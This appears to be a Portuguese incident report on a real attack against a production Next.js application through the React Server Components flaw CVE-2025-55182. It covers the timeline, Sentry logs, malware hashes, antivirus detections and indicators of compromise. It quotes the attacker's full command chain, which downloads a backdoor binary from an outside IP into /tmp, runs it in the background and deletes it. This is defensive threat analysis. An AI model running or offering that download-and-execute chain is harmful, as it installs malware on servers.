
Análise de ataque no mundo real do CVE-2025-55182 (React2Shell) - vulnerabilidade RCE do React Server Components
Análise de ataque real em uma aplicação Next.js de produção
Em 5 de dezembro de 2025, nossa aplicação Next.js de produção foi alvo de atacantes que exploraram a CVE-2025-55182 (React2Shell), uma vulnerabilidade crítica de Execução Remota de Código nos React Server Components. O ataque tentou baixar e executar um trojan backdoor Linux em nosso servidor.
| Atributo | Valor |
|---|---|
| ID CVE | CVE-2025-55182 |
| Pontuação CVSS | 9.8 (Crítica) |
| Data do Ataque | 5 de dezembro de 2025 |
| Resultado do Ataque | ✅ Bloqueado (pós-correção) |
| Tipo de Malware | Trojan Backdoor Linux |
| Stack Afetada | Next.js + React Server Components |
A CVE-2025-55182, também conhecida como "React2Shell", é uma vulnerabilidade crítica de Execução Remota de Código (RCE) que afeta os React Server Components (RSC) em:
A vulnerabilidade existe na função renderToReadableStream() dentro do Flight Server do React. Ao processar payloads RSC especialmente criados, o servidor não consegue sanitizar adequadamente determinadas entradas, levando à execução arbitrária de código.
Atacante → Payload RSC Malicioso → Flight Server → eval() → RCE
O atacante envia uma requisição POST com um payload serializado malicioso que é desserializado e executado no servidor.
| Timestamp (UTC) | Evento |
|---|---|
| Dec 5, 06:20 | Primeiro ataque detectado via Sentry |
| Dec 5, 06:20 | Payload tenta executar comandos shell |
| Dec 5, 06:20 | Ataque parcialmente bem-sucedido (pré-correção) |
Log de Erro do Sentry (Pré-correção):
Error: root
at eval (eval at <anonymous>, <anonymous>:3:6)
at nk (chunk.js)
at JSON.parse (<anonymous>)
at n5 (/app/node_modules/next/dist/server/app-render.js)
| Timestamp | Ação |
|---|---|
| Dec 4, 14:13 | Atualizado para Next.js 16.0.7 |
| Dec 4, 14:13 | Versão corrigida implantada (v1.0.0-beta-4) |
| Timestamp (UTC) | Evento |
|---|---|
| Dec 5, 08:48 | Tentativa de ataque detectada |
| Dec 5, 08:48 | Execução do payload BLOQUEADA |
| Dec 5, 08:48 | Erro: syntax error: unexpected ";" |
Log de Erro do Sentry (Pós-correção):
Error: Command failed: wget http://45.76.155.14/vim -O /tmp/vim ;
chmod +x /tmp/vim ; nohup /tmp/vim > /dev/null 2>&1 & ; rm -f /tmp/vim
/bin/sh: syntax error: unexpected ";"
A correção impediu com sucesso a execução do comando malicioso.
| Atributo | Valor |
|---|---|
| URL Alvo | https://[REDACTED]/ |
| Método | POST |
| User-Agent | Python Requests 2.31 |
| Origem | Script de ataque automatizado |
O atacante tentou executar a seguinte cadeia de comandos:
wget http://45.76.155.14/vim -O /tmp/vim ; \
chmod +x /tmp/vim ; \
nohup /tmp/vim > /dev/null 2>&1 & ; \
rm -f /tmp/vim
Detalhamento:
| Etapa | Comando | Finalidade |
|---|---|---|
| 1 | wget http://45.76.155.14/vim -O /tmp/vim | Baixar malware |
| 2 | chmod +x /tmp/vim | Tornar executável |
| 3 | nohup /tmp/vim > /dev/null 2>&1 & | Executar em segundo plano, persistir após logout |
| 4 | rm -f /tmp/vim | Apagar evidências |
| Componente | Versão |
|---|---|
| Sistema Operacional | Alpine Linux 3.23.0 |
| Runtime | Node.js v20.19.6 |
| Framework | Next.js 16.0.7 (corrigido) |
| Container | Docker |
| Atributo | Valor |
|---|---|
| Nome do arquivo | vim (disfarçado de ferramenta legítima) |
| SHA256 | 0f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce |
| Tipo de arquivo | ELF 64-bit LSB executable, x86-64 |
| Linguagem | Go (binário compilado) |
| Tamanho do arquivo | ~4.7 MB |
Taxa de Detecção: 13/72 (18%)
| Fornecedor | Nome de Detecção |
|---|---|
| DrWeb | Linux.BackDoor.Siggen.389 |
| AhnLab-V3 | Backdoor/Linux.Agent.4780032 |
| Kaspersky | HEUR:Trojan.Linux.Agent.gen |
| ESET-NOD32 | Linux/Agent.PX Trojan |
| Avast/AVG | ELF:Agent-BQE [Trj] |
| AliCloud | Trojan:Linux/Agent.ff565f70 |
| Antiy-AVL | Trojan/Linux.Agent.px |
| Rising | Trojan.Agent/Linux!8.13268 |
| SentinelOne | Static AI - Suspicious ELF |
| Tencent | Malware.Linux.Generic.1c03c8b9 |
| Zillya | Trojan.Agent.Linux.5292 |
Link do VirusTotal: Ver Análise
ELF Header:
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000 .ELF............
00000010: 0200 3e00 0100 0000 60e7 4500 0000 0000 ..>.....`.E.....
Capacidades Identificadas:
| Capacidade | Evidência |
|---|---|
| Cliente HTTP/HTTPS | net/http, *http.Client |
| Criptografia TLS | crypto/tls, crypto/aes |
| Proxy SOCKS5 | socks, socks5 |
| Resolução de DNS | net/dns/dnsmessage |
| Criptografia Forte | chacha20poly1305, Ed25519 |
Strings Extraídas (Relevantes):
crypto/aes
crypto/tls
net/http
socks5
vendor/golang.org/x/crypto/chacha20poly1305
vendor/golang.org/x/net/http2/hpack
| Severidade | Regra | Fonte |
|---|---|---|
| BAIXA | ET POLICY HTTP traffic on port 443 (POST) | Proofpoint ET Open |
| BAIXA | ET DNS Query for .cc TLD | Proofpoint ET Open |
Tipo: Trojan Backdoor Linux
Capacidades:
| Tipo | Valor | Descrição |
|---|---|---|
| Endereço IP | 45.76.155.14 | Servidor de distribuição do malware |
| URL | http://45.76.155.14/vim | URL de download do malware |
| Hospedagem | Vultr VPS | Provedor de nuvem |
| TLD | .cc | Domínio do C2 usa TLD .cc |
| Tipo | Valor |
|---|---|
| SHA256 | 0f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce |
| SHA1 | [Calcular se necessário] |
| MD5 | [Calcular se necessário] |
| Nome do arquivo | vim (disfarçado) |
| Tipo de arquivo | ELF 64-bit x86-64 |
| Tamanho do arquivo | ~4.7 MB |
| Indicador | Descrição |
|---|---|
wget para IP externo | Downloads de URLs não padronizadas |
Arquivos em /tmp/ | Executável suspeito no diretório temporário |
nohup + execução em segundo plano | Tentativa de persistência |
| Exclusão imediata de arquivo | Limpeza de evidências |
| User-Agent Python Requests | Ferramenta de ataque automatizada |